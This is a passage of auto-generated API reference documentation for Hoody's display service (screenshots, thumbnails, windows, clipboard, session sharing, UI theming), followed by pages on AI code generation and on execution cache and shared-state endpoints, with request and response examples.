| `timestamp` | path | string | Yes | Unix timestamp of the screenshot. Use the `timestamp` field returned by screenshot metadata/list endpoints. Do not use `timestamp_human` for path queries. Must be numeric only for security. |
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid timestamp format",
  "code": "INVALID_TIMESTAMP"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Screenshot not found for the specified timestamp",
  "code": "SCREENSHOT_NOT_FOUND"
}
```



### SDK Usage

```typescript
const result = await client.display.screenshots.getByTimestamp({
  timestamp: "1749541160",
  displayId: 6,
});
```

### `GET /api/v1/display/screenshot/last`

Returns the latest screenshot that was previously captured. Standardized API version of `/screenshot/last`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "No screenshot available",
  "code": "SCREENSHOT_NOT_FOUND"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Screenshot retrieval failed",
  "code": "SCREENSHOT_FAILED"
}
```



### SDK Usage

```typescript
const result = await client.display.screenshots.getLatest({
  displayId: 6,
});
```

### `GET /api/v1/display/screenshot/last/info`

Returns metadata about the latest screenshot without downloading the image. Standardized API version of `/screenshot/last/info`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "timestamp": "1749541160",
  "timestamp_human": "2026-02-23T16:57:02+00:00",
  "full": {
    "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
    "size": 245760,
    "width": 1920,
    "height": 1080
  },
  "thumbnail": {
    "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
    "size": 12800,
    "width": 320,
    "height": 180
  }
}
```



### SDK Usage

```typescript
const result = await client.display.screenshots.getLatestMetadata({
  displayId: 6,
});
```

## Thumbnails

### `GET /api/v1/display/thumbnail`

Captures a new screenshot and returns the thumbnail version (320x180 scaled). Standardized API version of `/thumbnail`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Thumbnail not found",
  "code": "THUMBNAIL_NOT_FOUND"
}
```



### SDK Usage

```typescript
const result = await client.display.thumbnails.capture({
  displayId: 6,
});
```

### `GET /api/v1/display/thumbnail/{timestamp}`

Retrieves the thumbnail for a specific screenshot by its Unix timestamp. Standardized API version of `/thumbnail/{timestamp}`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `timestamp` | path | string | Yes | Unix timestamp of the screenshot. Use the `timestamp` field returned by screenshot metadata/list endpoints. Do not use `timestamp_human` for path queries. Must be numeric only for security. |
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Thumbnail not found for the specified timestamp",
  "code": "THUMBNAIL_NOT_FOUND"
}
```



### SDK Usage

```typescript
const result = await client.display.thumbnails.getByTimestamp({
  timestamp: "1749541160",
  displayId: 6,
});
```

### `GET /api/v1/display/thumbnail/last`

Returns the thumbnail of the latest screenshot. Standardized API version of `/thumbnail/last`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "No thumbnail available",
  "code": "THUMBNAIL_NOT_FOUND"
}
```



### SDK Usage

```typescript
const result = await client.display.thumbnails.getLatest({
  displayId: 6,
});
```

## Windows

### `GET /api/v1/display/windows`

Lists all windows on the current display, optionally filtered to visible windows only.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |
| `onlyVisible` | query | boolean | No | If true, only include visible windows |

### Response



```json
{
  "success": true,
  "display": 6,
  "focusedWindowId": 1048579,
  "windows": [
    {
      "windowId": 1048579,
      "name": "Terminal — bash",
      "class": ["terminal", "Terminal"],
      "desktop": 0,
      "geometry": {
        "x": 120,
        "y": 80,
        "width": 1024,
        "height": 768
      },
      "focused": true,
      "states": ["focused", "active"]
    },
    {
      "windowId": 1048580,
      "name": "Code Editor",
      "class": ["code", "Code"],
      "desktop": 0,
      "geometry": {
        "x": 0,
        "y": 0,
        "width": 1920,
        "height": 1080
      },
      "focused": false,
      "states": ["maximized"]
    }
  ]
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Window listing failed",
  "code": "INPUT_ACTION_FAILED"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available",
  "code": "DISPLAY_NOT_AVAILABLE"
}
```



### SDK Usage

```typescript
const result = await client.display.listWindows({
  displayId: 6,
  onlyVisible: true,
});
```

### `GET /api/v1/display/window/{windowId}/properties`

Retrieves extended properties for a specific window, including WM class, name, role, PID, and state information.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `windowId` | path | string | Yes | Window ID (decimal or hex `0x...`) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "success": true,
  "windowId": "1048579",
  "properties": {
    "wmClass": ["terminal", "Terminal"],
    "wmName": "Terminal — bash",
    "wmRole": "terminal",
    "pid": 4321,
    "wmState": ["focused", "active"],
    "wmType": ["normal"],
    "transientFor": null
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found for the specified windowId",
  "code": "WINDOW_NOT_FOUND"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Window property retrieval failed",
  "code": "INPUT_ACTION_FAILED"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available",
  "code": "DISPLAY_NOT_AVAILABLE"
}
```



### SDK Usage

```typescript
const result = await client.display.getWindowProperties({
  windowId: "1048579",
  displayId: 6,
});
```

## Clipboard

### `GET /api/v1/display/clipboard`

Reads the current clipboard text from a specific buffer selection. Use the `selection` parameter to target the primary, secondary, or clipboard buffer.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |
| `selection` | query | string | No | Clipboard buffer selection. Default: `"clipboard"`. Allowed values: `"clipboard"`, `"primary"`, `"secondary"` |

### Response



```json
{
  "success": true,
  "text": "echo 'Hello, world!'",
  "selection": "clipboard"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Clipboard read failed",
  "code": "INPUT_ACTION_FAILED"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available",
  "code": "DISPLAY_NOT_AVAILABLE"
}
```



### SDK Usage

```typescript
const result = await client.display.getClipboard({
  displayId: 6,
  selection: "clipboard",
});
```

### `POST /api/v1/display/clipboard`

Writes text to the display's clipboard buffer.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `text` | string | Yes | Clipboard text content. Max length: 1,048,576 characters |
| `selection` | string | No | Clipboard buffer selection. Default: `"clipboard"`. Allowed values: `"clipboard"`, `"primary"`, `"secondary"` |

```json
{
  "text": "echo 'Hello, world!'",
  "selection": "clipboard"
}
```

### Response



```json
{
  "success": true,
  "action": "clipboard_write",
  "details": {
    "bytes_written": 21,
    "selection": "clipboard"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Clipboard write failed",
  "code": "INPUT_ACTION_FAILED"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available",
  "code": "DISPLAY_NOT_AVAILABLE"
}
```



### SDK Usage

```typescript
const result = await client.display.setClipboard({
  displayId: 6,
  data: {
    text: "echo 'Hello, world!'",
    selection: "clipboard",
  },
});
```

---

# Displays: Session & Sharing

**Page:** api/displays/session-sharing

[Download Raw Markdown](./api/displays/session-sharing.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Session & Sharing

Control how multiple users interact with a display session through URL parameters on the HTML5 Display client endpoint. Use these parameters to enable session sharing, allow takeover of existing sessions, enforce read-only viewing, and manage browser tab power consumption. They are useful for monitoring dashboards, kiosk deployments, collaborative scenarios, and energy-efficient client behavior.

### `GET /api/v1/display/`

Access the HTML5 Display client interface with session and sharing configuration.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `sharing` | query | boolean | No | Allow session sharing. Default: `false` |
| `steal` | query | boolean | No | Steal existing sessions. Default: `true` |
| `readonly` | query | boolean | No | Enable read-only/view-only mode. Blocks all keyboard and mouse input from the client. Perfect for dashboards, monitoring, or demo scenarios. Works independently or combines with server readonly setting. Default: `false` |
| `suspend_inactive_tab` | query | boolean | No | Suspend client updates when browser tab is inactive. Enables power saving by calling `client.suspend()` on tab hide and `client.resume()` on tab show. Recommended to keep enabled for better performance. Default: `true` |


Combine `readonly=true` with `sharing=true` to let multiple users view a display simultaneously while preventing any of them from sending keyboard or mouse input — ideal for monitoring dashboards and live demonstrations.


#### Response




```json
{
  "description": "HTML5 Display client interface loaded successfully",
  "content": {
    "text/html": {
      "schema": {
        "type": "string"
      },
      "example": "<!DOCTYPE html>\n<html>\n<head><title>Hoody Display Client</title></head>\n<body>\n  <!-- Display HTML5 client interface -->\n</body>\n</html>\n"
    }
  }
}
```




#### SDK Usage

```javascript
const result = await client.display.accessClient({
  sharing: true,
  steal: true,
  readonly: true,
  suspend_inactive_tab: true
});
```

```bash
curl "https://domain.com/api/v1/display/?displayId=10&sharing=true&steal=true&readonly=true&suspend_inactive_tab=true"
```

---

# Displays: UI & Theming

**Page:** api/displays/ui-theming

[Download Raw Markdown](./api/displays/ui-theming.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## UI & Theming

Configure the visual appearance of the HTML5 Display client, including window decorations, toolbar visibility, menu triggers, dark mode, floating elements, and browser title bar content. These query parameters are passed to the display client endpoint to customize the user interface for kiosks, dashboards, and embedded scenarios.


This page documents only the UI and theming parameters. Other query parameters accepted by this endpoint (such as `displayId`, `readonly`, `node`, and connection options) are covered on their respective pages.


## Access Display Client

### `GET /api/v1/display/`

Serves the HTML5 Display client web interface with optional URL-based configuration. Use this endpoint for RESTful API compliance, versioned client access, and API gateway integrations.



```bash
curl -G "https://domain.com/api/v1/display/" \
  --data-urlencode "decorations=false" \
  --data-urlencode "toolbar=true" \
  --data-urlencode "menu=true" \
  --data-urlencode "dark_mode=true" \
  --data-urlencode "floating_menu=true" \
  --data-urlencode "clock=true" \
  --data-urlencode "title_show_hoody=true" \
  --data-urlencode "title_show_display_id=true"
```


```typescript
const result = await client.display.accessClient({
  decorations: false,
  toolbar: true,
  menu: true,
  dark_mode: true,
  floating_menu: true,
  clock: true,
  title_show_hoody: true,
  title_show_display_id: true
});
```


```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `decorations` | query | boolean | No | Show window decorations (title bar with close/minimize/maximize buttons). Set to `false` for headless/kiosk mode. Default: `true` |
| `toolbar` | query | boolean | No | Show entire toolbar/menu area (menu trigger + menu). Set to `false` to hide all menu UI elements. Takes precedence over the `menu` parameter. Default: `true` |
| `menu` | query | boolean | No | Show Hoody menu trigger icon. Set to `false` to hide menu completely. Note: `toolbar` parameter takes precedence over this. Default: `true` |
| `dark_mode` | query | boolean | No | Enable dark mode theme. Default: `false` |
| `floating_menu` | query | boolean | No | Show floating menu. Default: `true` |
| `clock` | query | boolean | No | Show server clock. Default: `true` |
| `title_show_hoody` | query | boolean | No | Show "Hoody" in browser title. Default: `true` |
| `title_show_display_id` | query | boolean | No | Show display ID in browser title. Default: `true` |

### Response



```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```

The HTML5 Display client interface is returned as `text/html` content.

---

# Displays: Web Client Interface

**Page:** api/displays/web-client

[Download Raw Markdown](./api/displays/web-client.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Access the HTML5 Display Client

The HTML5 Display client is the browser-based viewer that connects to a container's display server. This endpoint serves the client interface and accepts URL query parameters for connection routing, transport selection, and audio behavior. Use it when embedding or deep-linking directly to the client with a pre-configured connection context.

This page documents the **connection and general access** subset of query parameters. The full client accepts 50+ parameters for UI customization, encoding, clipboard, notifications, and debug logging — those are covered on their respective pages.

### `GET /api/v1/display/`

Serves the HTML5 Display client web interface with optional URL-based configuration. This is the versioned, REST-style equivalent of the root endpoint, suitable for API gateways and versioned integrations.

**Example:**

```bash
https://domain.com/api/v1/display/?project_id=my-project&container_id=abc123&node=us-nyc-1
```

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `node` | query | string | No | Hoody node identifier (e.g., `sg-sin-1`, `us-nyc-1`) |
| `project_id` | query | string | No | Hoody project ID |
| `container_id` | query | string | No | Hoody container ID |
| `url_display_id` | query | string | No | Display ID for URL construction |
| `ssl` | query | boolean | No | Use SSL/TLS for WebSocket connection. Default: `true` |
| `webtransport` | query | boolean | No | Use WebTransport (HTTP/3) instead of WebSocket. Default: `false` |
| `sound` | query | boolean | No | Enable audio forwarding. Default: `true` |
| `audio_codec` | query | string | No | Preferred audio codec |
| `reconnect` | query | boolean | No | Auto-reconnect on connection loss. Default: `true` |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

This endpoint takes no request body.

### Response



The HTML5 Display client interface is returned as `text/html`.

```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```



### SDK Usage

```typescript
const client = new HoodyClient({ /* config */ });

// Access the HTML5 Display client with connection parameters
const response = await client.display.accessClient({
  // Connection and general access parameters
  node: "us-nyc-1",
  project_id: "my-project",
  container_id: "abc123",
  url_display_id: "10",
  ssl: true,
  webtransport: false,
  sound: true,
  audio_codec: "opus",
  reconnect: true,
});
```

---

# AI Code Generation

**Page:** api/exec/ai-generation

[Download Raw Markdown](./api/exec/ai-generation.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## AI Code Generation

The AI Code Generation API provides programmatic access to Hoody's directive parsing and code generation engine. It enables you to transform natural language directives, structured prompts, or annotated instructions into executable code across multiple languages and frameworks.

This endpoint group is designed for building autonomous coding agents, IDE plugins, CI/CD automations, and developer tools that need to delegate code synthesis to a managed AI backend without managing model infrastructure directly.

### When to use these endpoints

Use the AI Code Generation API when you need to:

- **Parse structured directives** — Convert annotated instruction sets (similar to `.claude` or `.github` workflow files) into actionable code generation tasks.
- **Generate code from intent** — Produce source files, patches, or full project scaffolds from high-level descriptions.
- **Stream generation output** — Receive incremental token streams for real-time editor integration.
- **Refactor or extend existing code** — Provide context (files, snippets, repositories) and receive targeted modifications.

### How it works

A typical request flows through three stages:

1. **Directive submission** — The client posts a directive describing the desired output, optionally including language, framework, target files, and contextual code.
2. **Context assembly** — Hoody resolves referenced files, dependencies, and project metadata to build a generation context.
3. **Generation & delivery** — The engine produces code, returning either a complete response or a token stream depending on the requested mode.


  All generation requests are asynchronous when streaming is enabled. Clients should be prepared to handle incremental responses, server-sent events, or webhook callbacks depending on the integration mode.


### Authentication

All requests must include a valid Hoody API token in the `Authorization` header using the `Bearer` scheme:

`Authorization: Bearer &lt;HOODY_API_KEY&gt;`

Generate or rotate tokens from the **Dashboard → API Keys** section. Tokens are scoped to the issuing workspace and inherit its permissions.

### Rate limits and quotas

AI Code Generation requests count against your workspace's generation quota. Quotas are enforced per minute (burst) and per day (sustained). When a limit is exceeded, the API returns a `429 Too Many Requests` response with a `Retry-After` header indicating when the next request can be made.


  Quota consumption is non-recoverable. A request that fails mid-generation still counts against your daily limit. Design retry logic to back off on `429` and `5xx` responses.


### Next steps

- Review the **Quickstart** guide for a working example in your language of choice.
- Consult the **Directive Reference** for the full schema of accepted inputs.
- See **Streaming Responses** for SSE integration details.

---

# Cache & Shared State

**Page:** api/exec/cache-state

[Download Raw Markdown](./api/exec/cache-state.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Cache & Shared State

The execution API exposes two complementary state surfaces: a **VM cache** keyed by hostname that accelerates script execution, and a **shared state** store that scripts can read, write, merge, and clear across runs. Use these endpoints to invalidate cached VMs, reset persistent state between deployments, or coordinate values that multiple scripts on the same hostname must share.


All four endpoints in this group are `POST` requests with JSON bodies. VM cache is keyed by `hostname`; the legacy `scriptPath` field on the cache-clear endpoint is deprecated and returns `HTTP 400` when supplied alone.


---

## Clear VM cache

### `POST /api/v1/exec/cache/clear`

Invalidate the VM cache for a hostname and optionally wipe its associated shared state. By default, the VM cache is cleared and shared state is preserved.

#### Request body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `hostname` | string | No | — | Hostname whose VM cache entry should be cleared. |
| `scriptPath` | string | No | — | **Deprecated.** `scriptPath`-based clear returns `HTTP 400`. VM cache is keyed by `hostname`. Use `hostname` or `clearAll=true` instead. |
| `clearVm` | boolean | No | `true` | Clear the VM cache for the given hostname. |
| `clearState` | boolean | No | `false` | Also clear shared state for the given hostname. |
| `clearAll` | boolean | No | `false` | Clear VM cache and shared state for every hostname. |



```bash
curl -X POST https://api.hoody.com/v1/exec/cache/clear \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "api.example.com",
    "clearVm": true,
    "clearState": false
  }'
```


```ts
await client.exec.cache.clear({
  hostname: "api.example.com",
  clearVm: true,
  clearState: false,
});
```


```json
{
  "cleared": true,
  "vmCache": {
    "cleared": 1,
    "remaining": 0
  },
  "sharedState": {
    "cleared": 0,
    "remaining": 3
  }
}
```


```json
{
  "error": "Invalid input: scriptPath is no longer supported",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "field": "scriptPath"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation (e.g. supplying the deprecated `scriptPath` field) | Check parameter format and requirements; use `hostname` or `clearAll=true` instead of `scriptPath` |


```json
{
  "error": "Failed to clear cache",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "reason": "storage backend unavailable"
  }
}
```



---

## Set shared state

### `POST /api/v1/exec/shared-state/set`

Write a value into the shared state store for a given hostname and path. When `merge` is `true`, the value is shallow-merged into the existing state object instead of replacing it. The `value` field accepts an arbitrary JSON value (object, array, string, number, boolean, or `null`).

#### Request body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `hostname` | string | **Yes** | — | Hostname that owns the state entry. |
| `path` | string | No | — | Dot-notation path under which the value is stored. |
| `value` | any | **Yes** | — | Arbitrary JSON value to store (object, array, string, number, boolean, or `null`). |
| `merge` | boolean | No | `false` | When `true`, shallow-merge `value` into the existing state at `path` instead of replacing it. |



```bash
curl -X POST https://api.hoody.com/v1/exec/shared-state/set \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "api.example.com",
    "path": "deploy",
    "value": {
      "lastSha": "a1b2c3d4e5f6",
      "timestamp": "2026-01-15T10:30:00Z"
    },
    "merge": false
  }'
```


```ts
await client.exec.state.set({
  hostname: "api.example.com",
  path: "deploy",
  value: {
    lastSha: "a1b2c3d4e5f6",
    timestamp: "2026-01-15T10:30:00Z",
  },
  merge: false,
});
```


```json
{
  "hostname": "api.example.com",
  "path": "deploy",
  "updated": true,
  "merged": false,
  "size": 78
}
```


```json
{
  "error": "Missing required field: value",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "field": "value"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements; ensure `hostname` and `value` are present |


```json
{
  "error": "Failed to persist shared state",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "reason": "storage backend unavailable"
  }
}
```



---

## Get shared state

### `POST /api/v1/exec/shared-state/get`

Retrieve a value from the shared state store. The response shape depends on whether the requested entry exists: a missing entry returns `exists: false` with a `null` `state`; a present entry returns `exists: true`, the stored `state`, and its `size` in bytes.

#### Request body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `hostname` | string | **Yes** | — | Hostname that owns the state entry. |
| `path` | string | No | — | Dot-notation path of the value to read. When omitted, the entire hostname state is returned. |



```bash
curl -X POST https://api.hoody.com/v1/exec/shared-state/get \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "api.example.com",
    "path": "deploy.lastSha"
  }'
```


```ts
const result = await client.exec.state.get({
  hostname: "api.example.com",
  path: "deploy.lastSha",
});
```


```json
{
  "hostname": "api.example.com",
  "path": "deploy.lastSha",
  "exists": true,
  "state": "a1b2c3d4e5f6",
  "size": 12
}
```


```json
{
  "hostname": "api.example.com",
  "path": "deploy.missing",
  "exists": false,
  "state": null
}
```


```json
{
  "error": "Missing required field: hostname",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "field": "hostname"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements; ensure `hostname` is present |


```json
{
  "error": "Failed to read shared state",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "reason": "storage backend unavailable"
  }
}
```



---

## Clear shared state

### `POST /api/v1/exec/shared-state/clear`

Remove a value, a subtree, or every entry from a hostname's shared state store. By default, the value at the supplied `path` is cleared; pass `clearAll: true` to wipe the entire hostname state.

#### Request body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `hostname` | string | **Yes** | — | Hostname whose shared state should be cleared. |
| `path` | string | No | — | Dot-notation path of the value to clear. Ignored when `clearAll` is `true`. |
| `clearAll` | boolean | No | `false` | Clear all shared state entries for the given hostname. |



```bash
curl -X POST https://api.hoody.com/v1/exec/shared-state/clear \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "api.example.com",
    "path": "deploy.lastSha",
    "clearAll": false
  }'
```


```ts
await client.exec.state.clear({
  hostname: "api.example.com",
  path: "deploy.lastSha",
  clearAll: false,
});
```


```json
{
  "cleared": true,
  "count": 1,
  "remaining": 2
}
```


```json
{
  "error": "Missing required field: hostname",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "field": "hostname"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
